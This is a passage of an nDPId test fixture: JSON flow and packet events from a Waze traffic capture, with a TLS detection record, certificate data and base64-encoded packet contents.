OBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBFHX7BMY1nuDR726\/nnYD8KWl6+aH4EPuj6ERR+eUdC21d7HXIjmpNPJEbA5rHpYVHX3U2KTrl86uqtGbA1u51wBAAccA5nba1zaH9e0iiZKPCK3OZKSwO8nAwgvlpCAgXrNuGkkOSIhiofdXox25PUz9BLoikRuoBBgCagNmFZsxOXxhkV9Cm3Np4jUEJgbUtUWQatpPPNyuCYjaBvBZ4va5HQTlDIyj3zDN4\/xl37tvEjNhxX1vb4wP6YPw+mPF9MgssIauH9gfcAbCybGv3dsc5RMMtkb6NWQSRpG5ThmEuxnPrmQhIR4jJU4c0\/YGueEP\/QViSJjyD9DEWsZFZ9KMyFmIM6WOSWc2e3bd5\/ot8m+XUly9+FMfdDl4UTc2FfINEuIfOBGLZ2YxhcosC8PiIf0xFP2hypZiOaxzJGTwxgWAwEABA4AAAA="} +01044{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":428,"source":"waze.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1435587879850,"flow_last_seen":1435587880568,"flow_tot_l4_data_len":3813,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3511,"flow_avg_l4_data_len":635,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36316,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00408{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":569050,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoFxJAAEAGrt4KCAABsCK6tI3cAbueIGgiYd+mOFAQ\/\/+dAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"waze.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1435587880576,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"200.160.4.31","src_port":43991,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":576575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0U4FAAEAG6tYKECWdyKAEH6vXAFAtnZBdDlnt+YARAVu2DAAAAQEICgAIcK6K\/GDA"} +00408{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":577294,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUFAABAG+SLIoAQfChAlnQBQq9cOWe35LZ2QXlAQ\/\/9M8gAA"} +00408{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":577703,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUJAABAG+SHIoAQfChAlnQBQq9cOWe35LZ2QXlAR\/\/9M8QAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":435,"source":"waze.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1435587880577,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"200.160.4.49","src_port":46473,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":577937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0OqdAAEAGA58KECWdyKAEMbWJAFDzNuhArgf0IIARAVuhgQAAAQEICgAIcK4TbB\/F"} +00410{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":578259,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUNAABAG+Q7IoAQxChAlnQBQtYmuB\/Qg8zboQVAQ\/\/9\/2wAA"} +00410{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":578520,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodURAABAG+Q3IoAQxChAlnQBQtYmuB\/Qg8zboQVAR\/\/9\/2gAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":438,"source":"waze.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1435587880578,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"200.160.4.49","src_port":41823,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":578787,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA04rRAAEAGW5EKECWdyKAEMaNfAFDGgz5oQX0A9YARAVvp7QAAAQEICgAIcK4TbB\/F"} +00409{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":579068,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUVAABAG+QzIoAQxChAlnQBQo19BfQD1xoM+aVAQ\/\/\/IRwAA"} +00409{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":579481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUZAABAG+QvIoAQxChAlnQBQo19BfQD1xoM+aVAR\/\/\/IRgAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":441,"source":"waze.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1435587880579,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.160.4.198","src_port":45169,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":579627,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAohIxAAEAG3tQKCAAByKAExrBxAFBvlik9kGnb21AR\/\/8iigAA"} +00408{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":580112,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUdAABAGHhrIoATGCggAAQBQsHGQadvbb5YpPlAQ\/\/8iigAA"} +00408{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":580413,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUhAABAGHhnIoATGCggAAQBQsHGQadvbb5YpPlAR\/\/8iiQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"waze.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1435587880580,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"200.160.4.49","src_port":52953,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":580707,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0VK5AAEAG6ZcKECWdyKAEMc7ZAFAfHIxhueqe64ARAVv9kwAAAQEICgAIcK4TbCOv"} +00409{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":580952,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUlAABAG+QjIoAQxChAlnQBQztm56p7rHxyMYlAQ\/\/\/f1wAA"} +00409{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":581398,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUpAABAG+QfIoAQxChAlnQBQztm56p7rHxyMYlAR\/\/\/f1gAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":447,"source":"waze.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1435587880581,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"200.160.4.49","src_port":52746,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":581548,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA02RhAAEAGZS0KECWdyKAEMc4KAFB1GwfcXT3HdoARAVthCwAAAQEICgAIcK4TbCOv"} +00408{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":582251,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUtAABAG+QbIoAQxChAlnQBQzgpdPcd2dRsH3VAQ\/\/9DTwAA"} +00408{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":582653,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodUxAABAG+QXIoAQxChAlnQBQzgpdPcd2dRsH3VAR\/\/9DTgAA"} +00406{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":583014,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGPmQKECWdyKAEH6vXAFAtnZBeAAAAAFAEAABJUQAA"} +00406{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":583141,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGPlIKECWdyKAEMbWJAFDzNuhBAAAAAFAEAAAiEAAA"} +00406{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":583260,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGPlIKECWdyKAEMaNfAFDGgz5pAAAAAFAEAAAKxgAA"} +00406{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":583768,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGY2EKCAAByKAExrBxAFBvlik+AAAAAFAEAACO2wAA"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":454,"source":"waze.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1435587880583,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.160.4.49","src_port":60574,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":583990,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo9fdAAEAGbf4KCAAByKAEMeyeAFAiBCaW3fvegVAR\/\/\/m8gAA"} +00409{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":586923,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodU1AABAGHqnIoAQxCggAAQBQ7J7d+96BIgQml1AQ\/\/\/m8gAA"} +00409{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":587342,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodU5AABAGHqjIoAQxCggAAQBQ7J7d+96BIgQml1AR\/\/\/m8QAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":457,"source":"waze.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1435587880587,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.160.4.198","src_port":43089,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":587670,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoE7JAAEAGT68KCAAByKAExqhRAbtmrsLcmVFRdFAR\/\/8aBwAA"} +00408{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":588071,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodU9AABAGHhLIoATGCggAAQG7qFGZUVF0Zq7C3VAQ\/\/8aBwAA"} +00408{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":588513,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodVBAABAGHhHIoATGCggAAQG7qFGZUVF0Zq7C3VAR\/\/8aBgAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":461,"source":"waze.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1435587880589,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.160.4.49","src_port":60479,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00410{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":589106,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoS15AAEAGGJgKCAAByKAEMew\/Abump6BqWVh1BVAR\/\/\/VjgAA"} +00409{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":589338,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodVJAABAGHqTIoAQxCggAAQG77D9ZWHUFpqega1AQ\/\/\/VjgAA"} +00409{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":589665,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodVNAABAGHqPIoAQxCggAAQG77D9ZWHUFpqega1AR\/\/\/VjQAA"} +00406{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":589785,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGPlIKECWdyKAEMc7ZAFAfHIxiAAAAAFAEAAA4ugAA"} +00406{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":589942,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGPlIKECWdyKAEMc4KAFB1GwfdAAAAAFAEAABoDwAA"} +00407{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":590039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGY\/YKCAAByKAEMeyeAFAiBCaXAAAAAFAEAACjfAAA"} +00406{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":590285,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGY2EKCAAByKAExqhRAbtmrsLdAAAAAFAEAAAE2QAA"} +00408{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":590669,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGY\/YKCAAByKAEMew\/Abump6BrAAAAAFAEAACj+AAA"} +00591{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":594401,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuFxNAAEAGrlcKCAABsCK6tI3cAbueIGgiYd+mOFAY\/\/+K7AAAFgMBAEYQAABCQQTurxI+nMnZN+D7vHw4FE6RidzKzZC57NTLScck3Ir5efWxRdjMmnKWr39yNKGeYANuwsc5XctGeSC1oPz2EWJCFAMBAAEBFgMBADDvcdRTF1VniTUM33ciAXYkbZ7K5qM0GzIFF8NZfpcFTir6LkW7A00jtf3FM9XOb3c="} 